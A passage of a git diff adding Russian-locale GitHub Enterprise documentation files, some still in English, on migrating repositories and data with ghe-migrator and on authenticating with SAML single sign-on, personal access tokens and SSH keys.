+ $ git push --mirror PUSH-URL-ON-GITHUB-ENTERPRISE + ``` + +## Импорт проектов из системы управления версиями Team Foundation + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. Создайте необработанный клон проекта с помощью приведенной ниже команды, указав URL-адрес исходного проекта и путь к временному репозиторию: + ```shell + $ git-import-tfs-raw TEAM-FOUNDATION-CLONE-URL /PATH/REPO-NAME.git + # Creates a new repository with one or more Git refs in "refs/import/" in the specified path. + ``` +{% data reusables.enterprise_migrations.review-the-import-csv %} +4. Перезапись авторов и ветвей с помощью CSV-файла: + ```shell + $ git-import-rewrite --flavor tfs --authors /PATH/AUTHORS-MAP-FILE.csv /PATH/REPO_NAME.git + ``` +5. [Создайте пустой репозиторий для {% data variables.product.prodname_ghe_server %}](/enterprise/user/articles/creating-a-new-repository), если он еще не создан. +{% data reusables.command_line.switching_directories_procedural %} +7. Передайте импортированный репозиторий в {% data variables.product.prodname_ghe_server %}: + ```shell + $ git push --mirror PUSH-URL-ON-GITHUB-ENTERPRISE + ``` + +## Дополнительные материалы + +- [Служебные программы командной строки](/enterprise/admin/guides/installation/command-line-utilities/#import-and-export) diff --git a/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md new file mode 100644 index 000000000000..ac34326e09ae --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md @@ -0,0 +1,22 @@ +--- +title: Migrating data to and from your enterprise +intro: 'You can export user, organization, and repository data from {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_dotcom_the_website %}, then import that data into {% data variables.location.product_location %}.' +redirect_from: + - /enterprise/admin/articles/moving-a-repository-from-github-com-to-github-enterprise + - /enterprise/admin/categories/migrations-and-upgrades + - /enterprise/admin/migrations/overview + - /enterprise/admin/user-management/migrating-data-to-and-from-your-enterprise +versions: + ghes: '*' +topics: + - Enterprise +children: + - /about-migrations + - /exporting-migration-data-from-your-enterprise + - /exporting-migration-data-from-githubcom + - /preparing-to-migrate-data-to-your-enterprise + - /migrating-data-to-your-enterprise + - /importing-data-from-third-party-version-control-systems +shortTitle: Migration for an enterprise +--- + diff --git a/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md new file mode 100644 index 000000000000..b19fb060b49f --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md @@ -0,0 +1,153 @@ +--- +title: Migrating data to your enterprise +intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.' +redirect_from: + - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise + - /enterprise/admin/migrations/applying-the-imported-data-on-github-enterprise-server + - /enterprise/admin/migrations/reviewing-migration-data + - /enterprise/admin/migrations/completing-the-import-on-github-enterprise-server + - /enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise + - /enterprise/admin/guides/migrations/reviewing-the-imported-data + - /enterprise/admin/guides/migrations/completing-the-import-on-github-enterprise + - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise-server + - /enterprise/admin/user-management/migrating-data-to-your-enterprise + - /admin/user-management/migrating-data-to-your-enterprise +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Migration +shortTitle: Import to your enterprise +--- +## Applying the imported data on {% data variables.product.prodname_ghe_server %} + +Before you can migrate data to your enterprise, you must prepare the data and resolve any conflicts. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)." + +After you prepare the data and resolve conflicts, you can apply the imported data on {% data variables.product.product_name %}. + +{% data reusables.enterprise_installation.ssh-into-target-instance %} + +2. Using the `ghe-migrator import` command, start the import process. You'll need: + * Your Migration GUID. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)." + * Your {% data variables.product.pat_generic %} for authentication. The {% data variables.product.pat_generic %} that you use is only for authentication as a site administrator, and does not require any specific scope{% ifversion pat-v2 %} or permissions{% endif %}. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." + + ```shell + $ ghe-migrator import /home/admin/MIGRATION-GUID.tar.gz -g MIGRATION-GUID -u USERNAME -p TOKEN + + > Starting GitHub::Migrator + > Import 100% complete / + ``` + + * {% data reusables.enterprise_migrations.specify-staging-path %} + +## Reviewing migration data + +By default, `ghe-migrator audit` returns every record. It also allows you to filter records by: + + * The types of records. + * The state of the records. + +The record types match those found in the [migrated data](/enterprise/admin/guides/migrations/about-migrations/#migrated-data). + +## Record type filters + +| Record type | Filter name | +|-----------------------|--------| +| Users | `user` +| Organizations | `organization` +| Repositories | `repository` +| Teams | `team` +| Milestones | `milestone` +| Project boards | `project` +| Issues | `issue` +| Issue comments | `issue_comment` +| Pull requests | `pull_request` +| Pull request reviews | `pull_request_review` +| Commit comments | `commit_comment` +| Pull request review comments | `pull_request_review_comment` +| Releases | `release` +| Actions taken on pull requests or issues | `issue_event` +| Protected branches | `protected_branch` + +## Record state filters + +| Record state | Description | +|-----------------|----------------| +| `export` | The record will be exported. | +| `import` | The record will be imported. | +| `map` | The record will be mapped. | +| `rename` | The record will be renamed. | +| `merge` | The record will be merged. | +| `exported` | The record was successfully exported. | +| `imported` | The record was successfully imported. | +| `mapped` | The record was successfully mapped. | +| `renamed` | The record was successfully renamed. | +| `merged` | The record was successfully merged. | +| `failed_export` | The record failed to export. | +| `failed_import` | The record failed to be imported. | +| `failed_map` | The record failed to be mapped. | +| `failed_rename` | The record failed to be renamed. | +| `failed_merge` | The record failed to be merged. | + +## Filtering audited records + +With the `ghe-migrator audit` command, you can filter based on the record type using the `-m` flag. Similarly, you can filter on the import state using the `-s` flag. The command looks like this: + +```shell +$ ghe-migrator audit -m RECORD_TYPE -s STATE -g MIGRATION-GUID +``` + +For example, to view every successfully imported organization and team, you would enter: +```shell +$ ghe-migrator audit -m organization,team -s mapped,renamed -g MIGRATION-GUID +> model_name,source_url,target_url,state +> organization,https://gh.source/octo-org/,https://ghe.target/octo-org/,renamed +``` + +**We strongly recommend auditing every import that failed.** To do that, you will enter: +```shell +$ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g MIGRATION-GUID +> model_name,source_url,target_url,state +> user,https://gh.source/octocat,https://gh.target/octocat,failed +> repository,https://gh.source/octo-org/octo-project,https://ghe.target/octo-org/octo-project,failed +``` + +If you have any concerns about failed imports, contact {% data variables.contact.contact_ent_support %}. + +## Completing the import on {% data variables.product.prodname_ghe_server %} + +After your migration is applied to your target instance and you have reviewed the migration, you''ll unlock the repositories and delete them off the source. Before deleting your source data we recommend waiting around two weeks to ensure that everything is functioning as expected. + +## Unlocking repositories on the target instance + +{% data reusables.enterprise_installation.ssh-into-instance %} +{% data reusables.enterprise_migrations.unlocking-on-instances %} + +## Unlocking repositories on the source + +### Unlocking repositories from an organization on {% data variables.product.prodname_dotcom_the_website %} + +To unlock the repositories on a {% data variables.product.prodname_dotcom_the_website %} organization, you'll send a `DELETE` request to [the migration unlock endpoint](/free-pro-team@latest/rest/migrations#unlock-an-organization-repository). You'll need: + * Your access token for authentication + * The unique `id` of the migration + * The name of the repository to unlock + +```shell +curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \ + -H "Accept: application/vnd.github.wyandotte-preview+json" \ + https://api.github.com/orgs/ORG-NAME/migrations/ID/repos/REPO_NAME/lock +``` + +### Deleting repositories from an organization on {% data variables.product.prodname_dotcom_the_website %} + +After unlocking the {% data variables.product.prodname_dotcom_the_website %} organization's repositories, you should delete every repository you previously migrated using [the repository delete endpoint](/rest/repos/#delete-a-repository). You'll need your access token for authentication: +```shell +curl -H "Authorization: Bearer GITHUB_ACCESS_TOKEN" -X DELETE \ + https://api.github.com/repos/ORG-NAME/REPO_NAME +``` + +### Unlocking repositories from a {% data variables.product.prodname_ghe_server %} instance + +{% data reusables.enterprise_installation.ssh-into-instance %} +{% data reusables.enterprise_migrations.unlocking-on-instances %} diff --git a/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md new file mode 100644 index 000000000000..6ffad9d2075e --- /dev/null +++ b/translations/ru-RU/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md @@ -0,0 +1,154 @@ +--- +title: Подготовка к переносу данных в ваше предприятие +intro: 'После создания архива миграции можно импортировать данные в целевой экземпляр {% data variables.product.prodname_ghe_server %}. Вы сможете просмотреть изменения для потенциальных конфликтов, прежде чем окончательно применить изменения к целевому экземпляру.' +redirect_from: + - /enterprise/admin/migrations/preparing-the-migrated-data-for-import-to-github-enterprise-server + - /enterprise/admin/migrations/generating-a-list-of-migration-conflicts + - /enterprise/admin/migrations/reviewing-migration-conflicts + - /enterprise/admin/migrations/resolving-migration-conflicts-or-setting-up-custom-mappings + - /enterprise/admin/guides/migrations/preparing-the-migrated-data-for-import-to-github-enterprise + - /enterprise/admin/user-management/preparing-to-migrate-data-to-your-enterprise + - /admin/user-management/preparing-to-migrate-data-to-your-enterprise +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Migration +shortTitle: Prepare to migrate data +ms.openlocfilehash: 0f46ff54e6563945ab63a1845f2609ee8fb90a0e +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009119' +--- +## Подготовка перенесенных данных к импорту в {% data variables.product.prodname_ghe_server %} + +1. С помощью команды [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) скопируйте архив миграции, созданный из исходного экземпляра или организации, в целевой объект {% data variables.product.prodname_ghe_server %}: + + ```shell + $ scp -P 122 PATH-TO-MIGRATION-GUID.tar.gz admin@HOSTNAME:/home/admin/ + ``` + +{% data reusables.enterprise_installation.ssh-into-target-instance %} + +3. Используйте команду `ghe-migrator prepare`, чтобы подготовить архив для импорта в целевой экземпляр и создать новый уникальный идентификатор миграции, который будет использоваться в последующих шагах: + + ```shell + ghe-migrator prepare /home/admin/MIGRATION-GUID.tar.gz + ``` + + * Чтобы начать новую попытку импорта, запустите `ghe-migrator prepare` еще раз и получите новый уникальный идентификатор миграции. + * {% data reusables.enterprise_migrations.specify-staging-path %} + +## Создание списка конфликтов миграции + +1. Используя команду `ghe-migrator conflicts` с уникальным идентификатором миграции, создайте файл *conflicts.csv*: + ```shell + $ ghe-migrator conflicts -g MIGRATION-GUID > conflicts.csv + ``` + - Если не будет обнаружено ни одного конфликта, вы можете безопасно импортировать данные, выполнив действия, описанные в статье [Перенос данных в ваше предприятие](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server/). +2. При наличии конфликтов с помощью команды [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) скопируйте *conflicts.csv* на локальный компьютер: + ```shell + $ scp -P 122 admin@HOSTNAME:conflicts.csv ~/Desktop + ``` +3. Перейдите к разделу [Устранение конфликтов миграции или настройка пользовательских сопоставлений](#resolving-migration-conflicts-or-setting-up-custom-mappings). + +## Просмотр конфликтов миграции + +1. Откройте *conflicts.csv* с помощью текстового редактора или [программного обеспечения для работы с электронными таблицами, совместимого с форматом CSV](https://en.wikipedia.org/wiki/Comma-separated_values#Application_support). +2. Руководствуясь приведенными ниже примерами и справочными таблицами, просмотрите файл *conflicts.csv*, чтобы убедиться, что при импорте будут выполнены соответствующие действия. + +Файл *conflicts.csv* содержит *карту миграции* конфликтов и рекомендуемые действия. Карта миграции содержит сведения о том, какие данные переносятся из источника и как данные будут применены к целевому объекту. + +| `model_name` | `source_url` | `target_url` | `recommended_action` | +|--------------|--------------|------------|--------------------| +| `user` | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map` | +| `organization` | `https://example-gh.source/octo-org` | `https://example-gh.target/octo-org` | `map` | +| `repository` | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/widgets` | `rename` | +| `team` | `https://example-gh.source/orgs/octo-org/teams/admins` | `https://example-gh.target/orgs/octo-org/teams/admins` | `merge` | + +Каждая строка в *conflicts.csv* предоставляет следующие сведения: + +| Имя | Описание | +|--------------|---------------| +| `model_name` | Тип изменяемых данных. | +| `source_url` | Исходный URL-адрес данных. | +| `target_url` | Ожидаемый целевой URL-адрес данных. | +| `recommended_action` | Предпочтительное действие, которое выполнит `ghe-migrator` при импорте данных. | + +### Возможные сопоставления для каждого типа записи + +Существует несколько различных действий сопоставления, которые `ghe-migrator` может выполнить при передаче данных: + +| `action` | Описание | Применимые модели | +|------------------------|-------------|-------------------| +| `import` | (по умолчанию) Данные из источника импортируются в целевой объект. | Все типы записей +| `map` | Данные из источника заменяются существующими данными в целевом объекте. | Пользователи, организации, репозитории +| `rename` | Данные из источника переименовываются, а затем копируются в целевой объект. | Пользователи, организации, репозитории +| `map_or_rename` | Если целевой объект существует, данные сопоставляются с ним. В противном случае импортированная модель переименовывается. | Пользователи +| `merge` | Данные из источника совмещаются с существующими данными в целевом объекте. | Teams + +**Мы настоятельно рекомендуем просмотреть файл *conflicts.csv* и использовать [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data), чтобы убедиться, что выполняются нужные действия.** Если все в порядке, вы можете приступать к [переносу данных в ваше предприятие](/enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise-server). + + +## Устранение конфликтов миграции или настройка пользовательских сопоставлений + +Если вы считаете, что `ghe-migrator` выполнит неправильное изменение, можно внести исправления, изменив данные в *conflicts.csv*. Вы можете внести изменения в любую из строк в *conflicts.csv*. + +Например, предположим, что пользователь `octocat` из источника сопоставляется с `octocat` в целевом объекте: + +| `model_name` | `source_url` | `target_url` | `recommended_action` | +|--------------|--------------|------------|--------------------| +| `user` | `https://example-gh.source/octocat` | `https://example-gh.target/octocat` | `map` + +Вы можете сопоставить пользователя с другим пользователем в целевом объекте. Предположим, вы знаете, что `octocat` на самом деле должен быть `monalisa` в целевом объекте. Вы можете изменить столбец `target_url` в *conflicts.csv*, чтобы он ссылался на `monalisa`: + +| `model_name` | `source_url` | `target_url` | `recommended_action` | +|--------------|--------------|------------|--------------------| +| `user` | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `map` + +В качестве другого примера, если вы хотите переименовать репозиторий `octo-org/widgets` в `octo-org/amazing-widgets` в целевом экземпляре, измените `target_url` на `octo-org/amazing-widgets` и `recommend_action` на `rename`: + +| `model_name` | `source_url` | `target_url` | `recommended_action` | +|--------------|--------------|------------|--------------------| +| `repository` | `https://example-gh.source/octo-org/widgets` | `https://example-gh.target/octo-org/amazing-widgets` | `rename` | + +### Добавление пользовательских сопоставлений + +Распространенный сценарий во время миграции заключается в том, что у имена перенесенных пользователей в целевом объекте будут отличаться от тех, что назначены им в источнике. + +Имея список имен пользователей в источнике и список имен пользователей в целевом объекте, вы можете создать CSV-файл с пользовательскими сопоставлениями, а затем применить его, чтобы имена пользователей и их данные были правильно сопоставлены после миграции. + +Вы можете быстро создать CSV-файл пользователей, которые переносятся. Он необходим для применения пользовательских сопоставлений с помощью команды [`ghe-migrator audit`](/enterprise/admin/guides/migrations/reviewing-migration-data): + +```shell +$ ghe-migrator audit -m user -g MIGRATION-GUID > users.csv +``` + +Теперь вы можете изменить этот CSV-файл и ввести новый URL-адрес для каждого пользователя, которого вы хотите сопоставить или переименовать, а затем обновить четвертый столбец, чтобы выполнить `map` или `rename`. + +Например, чтобы переименовать пользователя `octocat` в `monalisa` в целевом объекте `https://example-gh.target` создайте строку со следующим содержимым: + +| `model_name` | `source_url` | `target_url` | `state` | +|--------------|--------------|------------|--------------------| +| `user` | `https://example-gh.source/octocat` | `https://example-gh.target/monalisa` | `rename` + +Один и тот же процесс можно использовать для создания сопоставлений для каждой записи, поддерживающей пользовательские сопоставления. Дополнительные сведения см. в [таблице возможных сопоставлений записей](/enterprise/admin/guides/migrations/reviewing-migration-conflicts#possible-mappings-for-each-record-type). + +### Применение измененных данных миграции + +1. После внесения изменений используйте команду [`scp`](https://acloudguru.com/blog/engineering/ssh-and-scp-howto-tips-tricks#scp) для применения измененного файла *conflicts.csv* (или любого другого файла *.csv* сопоставлений в правильном формате) к целевому экземпляру: + + ```shell + $ scp -P 122 ~/Desktop/conflicts.csv admin@HOSTNAME:/home/admin/ + ``` + +2. Повторно сопоставите данные миграции с помощью команды `ghe-migrator map`, передав путь к измененным файлу *.csv* и уникальному идентификатору миграции: + + ```shell + $ ghe-migrator map -i conflicts.csv -g MIGRATION-GUID + ``` + +3. Если команда `ghe-migrator map -i conflicts.csv -g MIGRATION-GUID` сообщит, что конфликты по-прежнему существуют, снова выполните процесс разрешения конфликтов миграции. diff --git a/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md new file mode 100644 index 000000000000..63775289842e --- /dev/null +++ b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md @@ -0,0 +1,77 @@ +--- +title: Сведения о проверке подлинности с помощью единого входа SAML +intro: 'Вы можете получить доступ к {% ifversion ghae %}{% data variables.location.product_location %}{% elsif ghec %}организации, которая использует единый вход SAML (SSO){% endif %} путем проверки подлинности {% ifversion ghae %}с помощью единого входа SAML {% endif %}через поставщика удостоверений (IdP).' +redirect_from: + - /articles/about-authentication-with-saml-single-sign-on + - /github/authenticating-to-github/about-authentication-with-saml-single-sign-on + - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on +versions: + ghae: '*' + ghec: '*' +topics: + - SSO +shortTitle: SAML single sign-on +ms.openlocfilehash: 827db3181f742916ba4fdeefd92f25c196c28188 +ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148111516' +--- +## Сведения о проверке подлинности с помощью единого входа SAML + +{% ifversion ghae %} + +Единый вход SAML позволяет владельцу предприятия обеспечить централизованное управление и защиту доступа к {% data variables.product.product_name %} из поставщика удостоверений SAML. При посещении {% data variables.location.product_location %} в браузере {% data variables.product.product_name %} перенаправляет вас к поставщику удостоверений для проверки подлинности. После успешной проверки подлинности с помощью учетной записи поставщика удостоверений поставщик удостоверений перенаправит вас обратно в {% data variables.location.product_location %}. {% data variables.product.product_name %} проверяет ответ от поставщика удостоверений, а затем предоставляет доступ. + +{% data reusables.saml.you-must-periodically-authenticate %} + +Если вы не можете получить доступ к {% data variables.product.product_name %}, обратитесь к владельцу локального предприятия или администратору для {% data variables.product.product_name %}. Чтобы найти контактные данные для вашего предприятия, нажмите на кнопку **Поддержка** в нижней части любой страницы на {% data variables.product.product_name %}. {% data variables.product.company_short %} и {% data variables.contact.github_support %} не имеют доступа к вашему поставщику удостоверений и не могут устранять неполадки проверки подлинности. + +{% endif %} + +{% ifversion ghec %} + +{% data reusables.saml.dotcom-saml-explanation %} Владельцы организации могут пригласить вашу личную учетную запись в {% data variables.product.prodname_dotcom %} присоединиться к их организации, которая использует единый вход SAML, что позволит вам вносить вклад в организацию и сохранять существующие удостоверения и вклады в {% data variables.product.prodname_dotcom %}. + +Если вы являетесь участником {% data variables.enterprise.prodname_emu_enterprise %}, вы будете использовать новую учетную запись, подготовленную для вас и контролируемую вашим предприятием. {% data reusables.enterprise-accounts.emu-more-info-account %} + +При попытке получить доступ к большинству ресурсов в организации, которая использует единый вход SAML, {% data variables.product.prodname_dotcom %} перенаправит вас к поставщику удостоверений SAML организации для проверки подлинности. После того как вы успешно пройдете проверку подлинности с помощью учетной записи в поставщике удостоверений, поставщик удостоверений перенаправит вас обратно в {% data variables.product.prodname_dotcom %}, где вы сможете получить доступ к ресурсам организации. + +{% data reusables.saml.resources-without-sso %} + +{% data reusables.saml.outside-collaborators-exemption %} + +Если вы недавно прошли проверку подлинности с помощью поставщика удостоверений SAML в браузере, вы автоматически авторизованы для доступа к организации {% data variables.product.prodname_dotcom %}, которая использует единый вход SAML. Если вы недавно не проходили проверку подлинности с помощью поставщика удостоверений SAML в браузере, то перед доступом к организации вам потребуется пройти проверку подлинности в поставщике удостоверений SAML. + +{% data reusables.saml.you-must-periodically-authenticate %} + +## Связанные удостоверения SAML + +При проверке подлинности с помощью учетной записи поставщика удостоверений и возврате к {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_dotcom %} записывает ссылку в организации или предприятии в вашей личной учетной записи {% data variables.product.prodname_dotcom %} и удостоверении SAML, в которое вы выполнили вход. Это связанное удостоверение используется для проверки членства в этой организации, и в зависимости от настройки организации или предприятия оно также может использоваться для определения организаций и команд, участником которых вы также являетесь. Каждая учетная запись {% data variables.product.prodname_dotcom %} может быть связана только с одним удостоверением SAML для каждой организации. Аналогичным образом каждое удостоверение SAML можно связать с одной учетной записью {% data variables.product.prodname_dotcom %} в организации. + +При входе с помощью удостоверения SAML, уже связанного с другой учетной записью {% data variables.product.prodname_dotcom %}, появится сообщение об ошибке, где сказано, что вы не можете войти с помощью этого удостоверения SAML. Эта ситуация может возникнуть, если вы пытаетесь использовать новую учетную запись {% data variables.product.prodname_dotcom %} для работы в пределах вашей организации. Если вы не планируете использовать это удостоверение SAML с данной учетной записью {% data variables.product.prodname_dotcom %}, необходимо выйти из этого удостоверения SAML, а затем выполнить вход повторно SAML. Если вы хотите использовать это удостоверение SAML с вашей учетной записью {% data variables.product.prodname_dotcom %}, вам нужно попросить администратора отменить связь удостоверения SAML со старой учетной записью, чтобы связать его с новой учетной записью. В зависимости от настройки организации или предприятия администратору может потребоваться переназначить удостоверение в вашем поставщике SAML. Дополнительные сведения см. в разделе [Просмотр доступа SAML участника к вашей организации и управление им](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity). + +Если удостоверение SAML, которое вы используете для входа, не соответствует удостоверению SAML, связанному с вашей учетной записью {% data variables.product.prodname_dotcom %}, вы получите предупреждение о попытке повторной привязки вашей учетной записи. Учитывая, что удостоверение SAML используется для управления доступом и членством в команде, если вы продолжите использовать новое удостоверение SAML, это может привести к потере доступа к командам и организациям в {% data variables.product.prodname_dotcom %}. Вы можете продолжать его использовать только в том случае, если знаете, что вам потребуется использовать новое удостоверение SAML для проверки подлинности в будущем. + +## Авторизация {% data variables.product.pat_generic %}s и ключей SSH с помощью единого входа SAML + +Чтобы использовать API или Git в командной строке для доступа к защищенному содержимому в организации, которая использует единый вход SAML, необходимо использовать авторизованный {% data variables.product.pat_generic %} по протоколу HTTPS или авторизованный ключ SSH. + +Если у вас нет ключа {% data variables.product.pat_generic %} или SSH, можно создать {% data variables.product.pat_generic %} для командной строки или создать новый ключ SSH. Дополнительные сведения см. в разделе [Создание {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)или [Создание нового ключа SSH и его добавление в ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). + +Чтобы использовать новый или существующий ключ {% data variables.product.pat_generic %} или ключ SSH в организации, которая использует или применяет единый вход SAML, необходимо авторизовать маркер или ключ SSH для использования с организацией единого входа SAML. Дополнительные сведения см. в разделах [Авторизация {% data variables.product.pat_generic %} для использования с единым входом SAML](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) или [Авторизация ключа SSH для использования с единым вхоздом SAML](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on). + +## Сведения о {% data variables.product.prodname_oauth_apps %}, {% data variables.product.prodname_github_apps %} и едином входе SAML + +У вас должен быть активный сеанс SAML каждый раз, когда вы выполняете авторизацию {% data variables.product.prodname_oauth_app %} или {% data variables.product.prodname_github_app %} для доступа к организации, которая использует или применяет единый вход SAML. Можно создать активный сеанс SAML, перейдя к `https://github.com/orgs/ORGANIZATION-NAME/sso` в браузере. + +После того как владелец предприятия или организации включает или применяет единый вход SAML для организации и после первого прохождения проверки подлинности с помощью SAML, необходимо повторно авторизовать все {% data variables.product.prodname_oauth_apps %} или {% data variables.product.prodname_github_apps %}, которые ранее были авторизованы для доступа к организации. + +Чтобы просмотреть авторизированные вами {% data variables.product.prodname_oauth_apps %}, перейдите на [страницу {% data variables.product.prodname_oauth_apps %}](https://github.com/settings/applications). Чтобы просмотреть авторизированные вами {% data variables.product.prodname_github_apps %}, перейдите на [страницу {% data variables.product.prodname_github_apps %}](https://github.com/settings/apps/authorizations). + +{% endif %} + +## Дополнительные материалы + +{% ifversion ghec %}- [Сведения об управлении удостоверениями и доступом с помощью единого входа SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% endif %} {% ifversion ghae %}- [Сведения об управлении удостоверениями и доступом к вашему предприятию](/admin/authentication/about-identity-and-access-management-for-your-enterprise){% endif %} diff --git a/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md new file mode 100644 index 000000000000..cc1537e412b4 --- /dev/null +++ b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md @@ -0,0 +1,33 @@ +--- +title: Authorizing a personal access token for use with SAML single sign-on +intro: 'To use a {% data variables.product.pat_v1 %} with an organization that uses SAML single sign-on (SSO), you must first authorize the token.' +redirect_from: + - /articles/authorizing-a-personal-access-token-for-use-with-a-saml-single-sign-on-organization + - /articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on + - /github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on + - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on +versions: + ghec: '*' +topics: + - SSO +shortTitle: '{% data variables.product.pat_generic_caps %} with SAML' +--- +You must authorize your {% data variables.product.pat_v1 %} after creation before the token can access an organization that uses SAML single sign-on (SSO). For more information about creating a new {% data variables.product.pat_v1 %}, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."{% ifversion pat-v2 %} {% data variables.product.pat_v2_caps %}s are authorized during token creation, before access to the organization is granted.{% endif %} + +{% data reusables.saml.must-authorize-linked-identity %} + +{% data reusables.saml.authorized-creds-info %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.personal_access_tokens %} +3. Next to the token you'd like to authorize, click **Configure SSO**. {% data reusables.saml.authenticate-with-saml-at-least-once %} + + ![Screenshot of the dropdown menu to configure SSO for a {% data variables.product.pat_v1 %}](/assets/images/help/settings/sso-allowlist-button.png) +4. To the right of the organization you'd like to authorize the token for, click **Authorize**. + ![Token authorize button](/assets/images/help/settings/token-authorize-button.png) + +## Further reading + +- "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" +- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)" diff --git a/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md new file mode 100644 index 000000000000..06c4f1baf5f1 --- /dev/null +++ b/translations/ru-RU/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md @@ -0,0 +1,39 @@ +--- +title: Authorizing an SSH key for use with SAML single sign-on +intro: 'To use an SSH key with an organization that uses SAML single sign-on (SSO), you must first authorize the key.' +redirect_from: + - /articles/authorizing-an-ssh-key-for-use-with-a-saml-single-sign-on-organization + - /articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on + - /github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on + - /github/authenticating-to-github/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on +versions: + ghec: '*' +topics: + - SSO +shortTitle: SSH Key with SAML +--- +You can authorize an existing SSH key, or create a new SSH key and then authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." + +{% data reusables.saml.must-authorize-linked-identity %} + +{% data reusables.saml.authorized-creds-info %} + +{% note %} + +**Note:** If your SSH key authorization is revoked by an organization, you will not be able to reauthorize the same key. You will need to create a new SSH key and authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." + +{% endnote %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.ssh %} +1. To the right of the SSH key you'd like to authorize, click **Configure SSO**. {% data reusables.saml.authenticate-with-saml-at-least-once %} + + ![Screenshot of the SSO token authorize button](/assets/images/help/settings/ssh-sso-button.png) +1. To the right of the organization you'd like to authorize the SSH key for, click **Authorize**. + + ![Screenshot of the token authorize 